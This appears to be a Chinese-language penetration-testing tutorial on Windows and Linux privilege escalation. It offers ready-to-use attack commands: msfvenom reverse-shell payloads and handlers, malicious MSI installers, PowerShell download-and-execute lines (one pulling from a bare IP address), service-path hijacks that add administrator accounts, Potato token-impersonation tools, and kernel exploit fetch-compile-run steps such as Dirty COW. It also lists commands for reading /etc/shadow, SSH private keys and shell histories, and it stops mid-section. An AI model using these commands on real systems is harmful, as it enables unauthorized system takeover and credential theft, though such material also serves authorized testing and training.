权限提升简介 权限提升概述 Windows 计算机中常见的权限
用户权限(Users)
管理员权限(Administrators)
系统权限 (SYSTEM)
访客权限 (Guest)
权限提升(Privilege Escalation ):攻击者通过安全漏洞把获取到的受限制的低权限用户突破限制,提权至高权限的管理员用户,从而获得对整个系统得控制权。
1 2 3 user --> administrator administrator --> system services --> system
提权分类
在一个低权限用户下,通过一些条件(应用程序漏洞、系统漏洞等)提升到系统管理员权限或系统最高权限。
攻击者通过漏洞利用程序直接获取远程服务器的权限。
Windows:MS06-067、MS10-084、MS11-014、MS11-05、MS12-020、MS16-032 等 Linux:CVE-2017-7308、CVE-2017-6074、CVE-2017-5123、CVE-2016-9793、CVE-2016-5195 等
SQL Server、MySQL、Oracle 等
提权条件
拥有 Webshell/Beacon/Sessions
拥有普通用户权限
拥有某些软件的账号密码
本地或远程服务器上存在漏洞
拥有漏洞利用工具代码
Windows提权思路
前期信息收集
Meterpreter提权
Windows系统内核漏洞
Windows服务提权漏洞
Linux提权思路
前期信息收集
Linux系统内核漏洞
Linux服务提权漏洞
SUDO权限滥用
SUID提权
GTFOBins
Windows系统提权 Windows提权信息收集
1 2 3 4 5 6 7 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f exe -o xx.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.247.135 set LPORT 6666 exploit
运行木马文件,MSF获得meterpreter会话
手动信息收集 WMIC :Windows管理工具命令行,提供了从命令行接口和批命令脚本执行系统管理的支持,对于信息收集和渗透测试是非常实用的。
1 2 3 wmic qfe get Caption,Description,HotFixID,InstalledOn wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxx" /C:"KBxxxxxx"
1 WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
1 WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 wmic group 组帐户管理。 wmic os 已安装操作系统的管理。 wmic process 进程管理 wmic service 服务应用程序管理。 wmic useraccount 用户帐户管理。 wmic startup 当用户登录到计算机系统时自动运行的命令的管理。 wmic nic 网络接口控制器(NIC)管理
av识别
https://www.ddosi.org/av/1.php
自动信息收集
Host Information Gathering Scripthttps://github.com/myh0st/scripts/blob/master/Windows%E4%B8%8B%E4%BF%A1%E6%81%AF%E6%94%B6%E9%9B%86/HIGS.bat
privilege-escalation-awesome-scriptshttps://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/winPEAS/winPEASbat/winPEAS.bat
Windows privilege escalation (enumeration) scripthttps://github.com/M4ximuss/Powerless
Powershell提权框架-Powerup,此框架可以在内核提权行不通的时候,帮助我们寻找服务器脆弱点进而通过脆弱点实现提权的目的。https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1 https://evi1cg.me/archives/Powerup.html
1.下载脚本
old:https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1 new:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
2.加载脚本
1 2 powershell -nop -ep bypass Import-Module .\PowerUp.psm1
3.查看所有模块
1 Get-Command -Module powerup
输入可以通过tab键来自动补全
4.查看模块详细说明
1 2 Get-help [cmdlet] -full Get-Help Find-DLLHijack -full
5.导出结果
1 Invoke-AllChecks | Out-File -Encoding ASCII checks.txt
6.cmd环境运行
1 powershell -ep bypass -c "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks}"
7.内存加载运行
1 powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks"
Windows内核漏洞提权 发现已知内核漏洞 检查Windows系统版本是否有任何已知的漏洞
1 2 3 wmic qfe get Caption,Description,HotFixID,InstalledOn powershell -c "Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid}"
1 powershell -c "Get-Hotfix -description 'Security update'"
https://docs.microsoft.com/zh-cn/security-updates/securitybulletins/securitybulletins https://portal.msrc.microsoft.com/zh-cn/security-guidance
Windows平台提权漏洞集合: https://github.com/SecWiki/windows-kernel-exploits
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 MS17-017 [KB4013081] [GDI Palette Objects Local Privilege Escalation] (windows 7/8) CVE-2017-8464 [LNK Remote Code Execution Vulnerability] (windows 10/8.1/7/2016/2010/2008) CVE-2017-0213 [Windows COM Elevation of Privilege Vulnerability] (windows 10/8.1/7/2016/2010/2008) MS17-010 [KB4013389] [Windows Kernel Mode Drivers](windows 7/2008/2003/XP) MS16-135 [KB3199135] [Windows Kernel Mode Drivers] (2016) MS16-111 [KB3186973] [kernel api] (Windows 10 10586 (32/64)/8.1) MS16-098 [KB3178466] [Kernel Driver] (Win 8.1) MS16-075 [KB3164038] [Hot Potato] (2003/2008/7/8/2012) MS16-034 [KB3143145] [Kernel Driver] (2008/7/8/10/2012) MS16-032 [KB3143141] [Secondary Logon Handle] (2008/7/8/10/2012) MS16-016 [KB3136041] [WebDAV] (2008/Vista/7) MS15-097 [KB3089656] [remote code execution] (win8.1/2012) MS15-076 [KB3067505] [RPC] (2003/2008/7/8/2012) MS15-077 [KB3077657] [ATM] (XP/Vista/Win7/Win8/2000/2003/2008/2012) MS15-061 [KB3057839] [Kernel Driver] (2003/2008/7/8/2012) MS15-051 [KB3057191] [Windows Kernel Mode Drivers] (2003/2008/7/8/2012) MS15-010 [KB3036220] [Kernel Driver] (2003/2008/7/8) MS15-015 [KB3031432] [Kernel Driver] (Win7/8/8.1/2012/RT/2012 R2/2008 R2) MS15-001 [KB3023266] [Kernel Driver] (2008/2012/7/8) MS14-070 [KB2989935] [Kernel Driver] (2003) MS14-068 [KB3011780] [Domain Privilege Escalation] (2003/2008/2012/7/8) MS14-058 [KB3000061] [Win32k.sys] (2003/2008/2012/7/8) MS14-040 [KB2975684] [AFD Driver] (2003/2008/2012/7/8) MS14-002 [KB2914368] [NDProxy] (2003/XP) MS13-053 [KB2850851] [win32k.sys] (XP/Vista/2003/2008/win 7) MS13-046 [KB2840221] [dxgkrnl.sys] (Vista/2003/2008/2012/7) MS13-005 [KB2778930] [Kernel Mode Driver] (2003/2008/2012/win7/8) MS12-042 [KB2972621] [Service Bus] (2008/2012/win7) MS12-020 [KB2671387] [RDP] (2003/2008/7/XP) MS11-080 [KB2592799] [AFD.sys] (2003/XP) MS11-062 [KB2566454] [NDISTAPI] (2003/XP) MS11-046 [KB2503665] [AFD.sys] (2003/2008/7/XP) MS11-011 [KB2393802] [kernel Driver] (2003/2008/7/XP/Vista) MS10-092 [KB2305420] [Task Scheduler] (2008/7) MS10-065 [KB2267960] [FastCGI] (IIS 5.1, 6.0, 7.0, and 7.5) MS10-059 [KB982799] [ACL-Churraskito] (2008/7/Vista) MS10-048 [KB2160329] [win32k.sys] (XP SP2 & SP3/2003 SP2/Vista SP1 & SP2/2008 Gold & SP2 & R2/Win7) MS10-015 [KB977165] [KiTrap0D] (2003/2008/7/XP) MS10-012 [KB971468] [SMB Client Trans2 stack overflow] (Windows 7/2008R2) MS09-050 [KB975517][Remote Code Execution] (2008/Vista) MS09-020 [KB970483] [IIS 6.0] (IIS 5.1 and 6.0) MS09-012 [KB959454] [Chimichurri] (Vista/win7/2008/Vista) MS08-068 [KB957097] [Remote Code Execution] (2000/XP) MS08-067 [KB958644] [Remote Code Execution] (Windows 2000/XP/Server 2003/Vista/Server 2008) MS08-066 [] [] (Windows 2000/XP/Server 2003) MS08-025 [KB941693] [Win32.sys] (XP/2003/2008/Vista) MS06-040 [KB921883] [Remote Code Execution] (2003/xp/2000) MS05-039 [KB899588] [PnP Service] (Win 9X/ME/NT/2000/XP/2003) MS03-026 [KB823980] [Buffer Overrun In RPC Interface] (/NT/2000/XP/2003)
提权漏洞合集
https://github.com/Ascotbe/Kernelhub http://kernelhub.ascotbe.com/Docs/#/
https://i.hacking8.com/tiquan
CVE-2019-0803
https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe
1 2 # 检测是否存在漏洞 cve-2019-0803.exe cmd "whoami"
1 2 # 反弹SYSTEM权限会话到MSF cve-2019-0803.exe cmd "start demo.exe"
CVE-2020-0787
https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION/releases
Windows系统服务漏洞 AlwaysInstallElevated
任意用户以NT AUTHORITY\SYSTEM权限安装MSI安装包。
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。
如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。
https://docs.microsoft.com/zh-cn/windows/win32/msi/alwaysinstallelevated
1 2 reg query HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
收到 “错误:系统无法找到指定的注册表项或值” 的错误,则表示此注册表值从未创建。 说明策略没有启用。 收到 “AlwaysInstallElevated REG_DWORD 0x1”,说明策略已经启用。
https://www.cnblogs.com/zpchcbd/p/11943147.html
启用 Always Install Elevated
1 2 3 4 5 reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Install (AlwaysInstalledElevated=1) HKEY_CURRENT_USER\Software\Policies\Microsof\Windows\Installer (AlwaysInstalledElevated=1)
Always Install Elevated提权利用
使用msfvenom生成恶意MSI程序上传
生成执行此payload的可执行反向shell payload(Payload.exe)和msi程序包(exec.msi)
1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.247.135 LPORT=8989 -f exe -o Payload.exe
通过使用 Windows/exec 生成恶意 .MSI 作为 payload
1 msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" > exec.msi
上传恶意payload到目标机器
1 2 upload Payload.exe C:\Users\testuser\AppData\Local\Temp\Payload.exe upload exec.msi C:\Users\testuser\AppData\Local\Temp\exec.msi
生成添加用户的MSI程序
1 msfvenom -p windows/adduser USER=test PASS=Password@123 --platform windows -a x86 -f msi-nouac -o test.msi
运行恶意MSI程序
1 2 3 4 5 6 7 msiexec /quiet /qn /i C:\Users\testuser\AppData\Local\temp\malicious.msi msiexec /quiet /qn /i C:\programdata\test.msi /quiet 安装过程中禁止向用户发送消息 /qn 不使用GUI /i 安装程序
Always Install Elevated提权利用2
下载exemsi
https://www.exemsi.com/download/
MSF生成exe程序
1 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.247.135 LPORT=8989 -f exe -o Payload.exe
使用exemsi将exe封装为msi
配置样式为下图所示,其他默认即可
运行msi程序,得到system权限的shell
受害者机器上执行:
1 msiexec /quiet /qn /i Payload.msi
可信任服务路径 存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例子:
1 2 3 4 5 C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe C:\Program.exe C:\Program Files (x86)\Windows.exe C:\Program Files (x86)\Windows Folder\Common.exe C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序
https://docs.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa?redirectedfrom=MSDN
1 2 3 4 5 # 管理员权限下使用sc创建 Windows Folder Service sc create "Windows Folder Service" binpath= "C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe" type=share start= auto displayname= "Windows Folder Service" # 给目录赋予everyone用户完全控制权限 cacls.exe "C:\Program Files (x86)\Windows Folder" /c /e /t /g everyone:F
漏洞服务下载地址: Macro Expert 4.0 Multiple Elevation of Privilegehttps://www.exploit-db.com/exploits/40428
利用:通过查找系统服务文件中存在的非引用路径,如果一个服务调用可执行文件,没有正确处理引用的全路径名,则可利用此漏洞。
检查目标主机是否可能存在漏洞
1 wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """
1 2 3 4 5 icacls "C:\Program Files (x86)\Windows Folder" F =完全控制 CI =容器继承 - 此标志指示从属容器将继承此ACE。 OI = Object Inherit - 这个标志表示从属文件将继承ACE。
1 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.1.227 LPORT=9999 -f exe -o Common.exe
1 2 3 4 5 sc qc "Windows Folder Service" sc stop "Windows Folder Service” sc start "Windows Folder Service" 没有权限重启服务,等待服务器重启时执行exe
将我们需要执行的exe根据需要重命名并放置在可写入的存在漏洞目录下,然后运行如下命令尝试重启服务,如果失败的话等待服务器重启时执行exe
1 2 3 4 use exploit/multi/handler set autorunscript migrate –f shutdown –r
如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
不安全的服务权限 Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。
JAVA升级程序,每次重启系统时,JAVA升级程序会检测Oracle网站,是否有新版JAVA程序。
而类似JAVA程序之类的系统服务程序加载时往往都是运行在系统权限上的。所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。
直接修改服务的“ImagePath”注册表值,而不是修改服务属性。
利用accesschk工具检查易受到攻击的服务:
1 2 3 accesschk64.exe -ucqv "Authenticated Users" * /accepteula services_all_access
查看可完全控制的服务的属性
修改服务配置执行命令
BINARY_PATH_NAME 参数指向了该服务的可执行程序(wvs_supervisor.exe )路径
1 2 3 4 5 sc config Acunetix binpath= "net user updateuser password /add" sc stop Acunetix sc start Acunetix sc config Acunetix binpath= "net localgroup Administrators updateuser /add" sc start Acunetix
Authenticated Users:指Windows系统中所有使用用户名、密码登录并通过身份验证的账户,不包括来宾账户Guest。也可以使用当前用户用户名来列出所有可以被当前用户修改的服务。
SERVICE_ALL_ACCESS:意思是我们对 Vulnerable Service 的属性拥有完全控制权
BINARY_PATH_NAME:参数指向了该服务的可执行程序路径。如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。
提权工具脚本 CollectAV_KB 收集补丁杀软信息
https://github.com/TryA9ain/CollectAV_KB
BeRoot
https://github.com/AlessandroZ/BeRoot
Watson
https://github.com/rasta-mouse/Watson
Sherlock
https://github.com/rasta-mouse/Sherlock
1 2 3 wget https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1 powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://47.101.214.85/Sherlock.ps1');Find-AllVulns
Windows-exploits Windows提权漏洞利用工具合集
https://github.com/lyshark/Windows-exploits
JuicyPotato
https://github.com/ohpe/juicy-potato
下载JuicyPotato
https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe
Juicy Potato的限制条件有:
需要具有SeImpersonate或者SeAssignPrimaryToken权限 开启DCOM 本地支持RPC或者远程服务器支持RPC并能成功登录 能够找到可用的COM对象
一般从Web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。
一般大多数的服务型账户IIS、MSSQL等,有这个权限,大多数用户级的账户没有这个权限,都可以执行 whoami /priv 查看是否x具有权限。
查看当前用户权限
1 2 whoami /all whoami /priv
如果SeImpersonate权限为 enabled,juicypotato的参数可以使用-t t
如果SeAssignPrimaryToken权限为 enabled,juicypotato的参数可以使用-t u
如果均开启,可以选择 -t *
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 C:/test/ >whoami /priv 特权信息 ---------------------- 特权名 描述 状态 ============================= ==================== ====== SeAssignPrimaryTokenPrivilege 替换一个进程级令牌 已禁用 SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用 SeShutdownPrivilege 关闭系统 已禁用 SeAuditPrivilege 生成安全审核 已禁用 SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeUndockPrivilege 从扩展坞上取下计算机 已禁用 SeImpersonatePrivilege 身份验证后模拟客户端 已启用 SeCreateGlobalPrivilege 创建全局对象 已启用 SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用 SeTimeZonePrivilege 更改时区 已禁用
检查RPC默认端口
查看RPC默认端口是否为135
如果被修改(例如为111),juicypotato的参数可以使用-n 111
如果系统禁用了RPC,并不是一定无法提权,需要满足如下条件:
找到另一系统,能够以当前用户的权限进行远程RPC登录,此时juicypotato的参数可以使用-k
例如Win7、WIn8系统,默认配置下,允许135端口的入站规则即可进行远程RPC登录,添加防火墙规则允许135端口入站的命令如下:
1 netsh advfirewall firewall add rule name="135" protocol=TCP dir=in localport=135 action=allow
选择CLSID(Class ID)
根据操作系统选择可用的CLSID
https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
https://www.cnblogs.com/DeeLMind/p/7771043.html
https://learn.microsoft.com/zh-cn/windows/win32/com/clsid-key-hklm?redirectedfrom=MSDN
其实CLSID也就是GUID,是区分每个系统组件唯一的识别码。我们通过CLSID就可以快捷的打开系统组件,这样可以让我们的操作更加方便。
CLSID或类标识符是一串字母数字(数字和字母字符)符号,用于表示组件对象模型或基于 COM 的程序的特定实例。它允许操作系统和软件(尤其是 Windows 操作系统和软件)检测和访问软件组件,而无需通过其名称进行识别。尽管微软已经逐步淘汰了COM的使用,转而使用.NET基础结构,但COM仍然是许多常用程序的重要组成部分,并且没有停止使用的计划。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 添加网络位置 shell:::{D4480A50-BA28-11d1-8E75-00C04FA31A86} 管理工具 shell:::{D20EA4E1-3957-11d2-A40B-0C5020524153} 所有控制面板项 shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D} 所有设置 shell:::{5ED4F38C-D3FF-4D61-B506-6820320AEBFE} 所有任务 shell:::{ED7BA470-8E54-465E-825C-99712043E01C} 应用 shell:::{4234d49b-0245-4df3-b780-3893943456e1} AppSuggestedLocations shell:::{c57a6066-66a3-4d91-9eb9-41532179f0a5} ActiveX缓存文件夹 shell:::{88C6C381-2E85-11D0-94DE-444553540000} 自动播放 shell:::{9C60DE1E-E5FC-40f4-A487-460851A8D915} 备份和还原(Windows7) shell:::{B98A2BEA-7D42-4558-8BD1-832F41BAC6FD} BitLocker驱动器加密 shell:::{D9EF8727-CAC2-4e60-809E-86F80A666C91} 蓝牙设备 shell:::{28803F59-3A75-4058-995F-4EE5503B023C} Briefcase shell:::{85BBD920-42A0-1069-A2E4-08002B30309D} Cabinet Shell文件夹 shell:::{0CD7A5C0-9F37-11CE-AE65-08002B2E1262} 命令文件夹 shell:::{437ff9c0-a07f-4fa0-af80-84b6c6440a16} Common Places FS Folder shell:::{d34a6ca6-62c2-4c34-8a7c-14709c1ad938} CompressedFolder shell:::{E88DCCE0-B7B3-11d1-A9F0-00AA0060FA31} 连接到 shell:::{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B} 控制面板 shell:::{26EE0668-A00A-44D7-9371-BEB064C98683} 控制面板 shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0} 凭据管理器 shell:::{1206F5F1-0569-412C-8FEC-3204630DFB70}
上述CLSID中的部分内容可以直接使用“运行”来进入,比如系统设置类;也有一些内容无法直接进入,需要各位用户注意。
可以通过命令提示符的start命令来调用以及API函数的ShellExecute来调用。
选择监听端口
选择一个系统未占用的端口作为监听端口
最终执行命令如下
1 2 3 4 5 6 7 8 9 10 11 C:/test/ >juicypotato.exe -t * -p "cmd.exe" -l 9001 -c {4991d34b-80a1-4291-83b6-3328366b9097} Testing {4991d34b-80a1-4291-83b6-3328366b9097} 9001 ...... [+] authresult 0 {4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM [+] CreateProcessWithTokenW OK -t * : SeImpersonate权限和SeAssignPrimaryToken权限都开启 -p "cmd.exe" : 指定创建的进程 -l 9001 : 指定监听端口 -c {4991d34b-80a1-4291-83b6-3328366b9097} : 指定使用的CLSID
执行成功,弹出cmd.exe窗口,成功得到NT AUTHORITY\SYSTEM 权限
Webshell版添加用户
利用JuicyPotato以system权限执行添加用户命令
1 JuicyPotato-ws.exe -p "net user admin abc123! /add"
RottenPotato
将服务帐户本地提权至SYSTEM
https://github.com/foxglovesec/RottenPotato https://github.com/breenmachine/RottenPotatoNG
1 2 3 4 5 load incognito list_token –u upload /root/rottenpotato.exe . execute -Hc -f rottenpotato.exe impersonate_token "NT AUTHORITY\\SYSTEM"
1 2 3 4 5 6 7 8 9 10 RottenPotato: 将服务帐户本地提权至SYSTEM load incognito list_token –u upload /root/rottenpotato.exe . execute -Hc -f rottenpotato.exe impersonate_token "NT AUTHORITY\\SYSTEM" 将SYSTEM token添加到impersonate user tokens下
Origin Potatohttps://github.com/foxglovesec/Potato RottenPotato & JuicyPotatohttps://github.com/ohpe/juicy-potato RoguePotatohttps://github.com/antonioCoco/RoguePotato SweetPotatohttps://github.com/CCob/SweetPotato
Webshell下执行命令:
https://github.com/uknowsec/SweetPotato https://github.com/uknowsec/getSystem
Linux系统提权 Linux提权信息收集
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
https://github.com/AlessandroZ/BeRoot
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 查看发行版本 cat /etc/issue cat /etc/*-release lsb_release -a 查看内核版本 uname -a uname -mrs 环境变量 cat /etc/profile cat /etc/bashrc cat ~/.bash_profile cat ~/.bashrc cat ~/.bash_logout env set
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 系统网络信息 /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network 应用程序和服务 ps aux ps -ef top cat /etc/services root用户运行的服务 ps aux | grep root ps -ef | grep root 安装的应用程序 ls -alh /sbin/ dpkg -l rpm -qa ls -alh /var/cache/apt/archives ls -alh /var/cache/yum/ 服务配置错误 cat /etc/syslog.conf cat /etc/chttp.conf cat /etc/lighttpd.conf cat /etc/cups/cupsd.conf cat /etc/inetd.conf cat /etc/apache2/apache2.conf cat /etc/my.conf cat /etc/httpd/conf/httpd.conf cat /opt/lampp/etc/httpd.conf ls -aRl /etc/ | awk '$1 ~ /^.*r.*/ 计划任务 crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 系统网卡 /sbin/ifconfig -a cat /etc/network/interfaces cat /etc/sysconfig/network 网络配置(dhcp、dns、网关) cat /etc/resolv.conf cat /etc/sysconfig/network cat /etc/networks iptables -L hostname 用户和主机与系统通信 lsof -i lsof -i :80 grep 80 /etc/services netstat -antup netstat -antpx netstat -tulpn chkconfig --list chkconfig --list | grep 3:on last w arp缓存、路由表 arp -e route /sbin/route –nee 数据包嗅探 tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 登录用户 id who w last cat /etc/passwd | cut -d: -f1 # List of users grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' # List of super users awk -F: '($3 == "0") {print}' /etc/passwd # List of super users cat /etc/sudoers sudo -l 用户敏感文件 cat /etc/passwd cat /etc/group cat /etc/shadow ls -alh /var/mail/ 用户家目录 ls -ahlR /root/ ls -ahlR /home/ 脚本、数据库、配置文件、日志文件 cat /var/apache2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg 历史记录 cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history 用户信息 cat ~/.bashrc cat ~/.profile cat /var/mail/root cat /var/spool/mail/root ssh私钥信息 cat ~/.ssh/authorized_keys cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 日志文件分析 cat /etc/httpd/logs/access_log cat /etc/httpd/logs/error_log cat /var/log/apache2/access_log cat /var/log/apache2/error_log 可写可执行的文件夹 find / -writable -type d 2>/dev/null > 找出可写的文件夹 find / -perm -222 -type d 2>/dev/null > 找出可写的文件夹 find / -perm -o w -type d 2>/dev/null > 找出可写的文件夹 find / -perm -o x -type d 2>/dev/null > 找出可写的文件夹 find / ( -perm -o w -perm -o x ) -type d 2>/dev/null > 找出可写可执行的文件夹 find / -xdev -type d ( -perm -0002 -a ! -perm -1000) -print > 找出可写的文件 find /dir -xdev ( -nouser -o -nogroup ) -print > 找出不是所有者的文件
1 2 3 4 5 6 7 8 9 10 11 12 支持的语言开发环境 find / -name perl* find / -name python* find / -name gcc* find / -name cc 上传文件环境 find / -name wget find / -name nc* find / -name netcat* find / -name tftp* find / -name ftp
1 2 3 4 5 6 7 8 9 10 11 http://www.exploit-db.com https://www.securityfocus.com/bid https://www.rapid7.com/db/ https://cxsecurity.com/exploit/ https://seclists.org/fulldisclosure/ https://exploit.kitploit.com/ https://www.cvedetails.com/index.php https://packetstormsecurity.com/ http://cve.mitre.org/cve/search_cve_list.html https://www.anquanke.com/vul https://nvd.nist.gov/vuln/categories
Linux内核提权漏洞
Linux平台提权漏洞集合:
https://github.com/SecWiki/linux-kernel-exploits https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack/
searchsploit搜索exp
https://gitlab.com/exploit-database/exploitdb
“searchsploit”是一个用于 Exploit-DB 的命令行搜索工具
searchsploit privilege | grep –i linux | grep -i kernel
会匹配标题和路径中的内容
1 searchsploit smb windows remote
只匹配标题,不会对路径中的关键词进行匹配
1 searchsploit -t smb windows remote
–exclude= 选项过滤不需要的结果
1 searchsploit smb windows remote --exclude="(POC)|txt"
例如只显示rb文件
1 searchsploit smb windows remote | grep rb
-p参数可以获取更多关于该漏洞的信息,以及将完整的路径复制到剪贴板上
1 searchsploit -p 42315.py
不建议在本地的漏洞数据库中修改exp,建议使用-m参数复制那些有用的到当前的工作目录
1 searchsploit -m 42315.py
一些开发的元数据没有保存在本地,如果要访问他们,需要联网搜索
1 searchsploit eternalblue -w
提权测试靶场下载:https://in.security/downloads/lin.security_v1.0.ova
脏牛提权漏洞 漏洞名称:脏牛(Dirty COW) 漏洞危害:低权限用户利用该漏洞技术可以在全版本 Linux 系统上实现本地提权 影响范围:Linux 内核2.6.22 < 3.9 (x86/x64)
1 2 3 POC: https://github.com/FireFart/dirtycow gcc编译: gcc -pthread ditry.c –o dirty –lcrypt 替换root用户: ./dirty password
CVE-2019-13272 1 2 3 4 5 6 7 8 9 10 linux本地提权 漏洞范围: 4.10 < linux内核版本 < 5.1.17 exploitdb: https://www.exploit-db.com/exploits/47163 利用exp: https://www.exploit-db.com/download/47163
1 2 3 wget https://www.exploit-db.com/download/47163 -O exp.c gcc exp.c –o exp ./exp
CVE-2019-7304 1 2 3 4 5 6 7 8 9 10 Linux包管理器snap本地提权漏洞 Ubuntu版本范围: Ubuntu 18.10 Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 LTS snap版本范围: 2.28 < snapd < 2.37
https://www.anquanke.com/post/id/170985
1 2 漏洞利用: https://github.com/initstring/dirty_sock
CVE-2021-3493 漏洞影响范围
Ubuntu 20.10 Ubuntu 20.04 LTS Ubuntu 18.04 LTS Ubuntu 16.04 LTS Ubuntu 14.04 ESM
https://github.com/briskets/CVE-2021-3493
1 2 gcc exploit.c -o exp ./exp
Linux密码hash /etc/passwd 所有用户都可以查看,存储着所有用户的信息,每一行代表一个用户,每一行通过冒号:分为七个部分
1 2 3 4 5 6 7 1. 用户名 2. 密码,x表示密码保存在/etc/shadow 3. UID,0代表root 4. GID,表示所在组 5. 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other 6. 用户主目录 7. 默认shell类型
只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过冒号:分为九个部分:
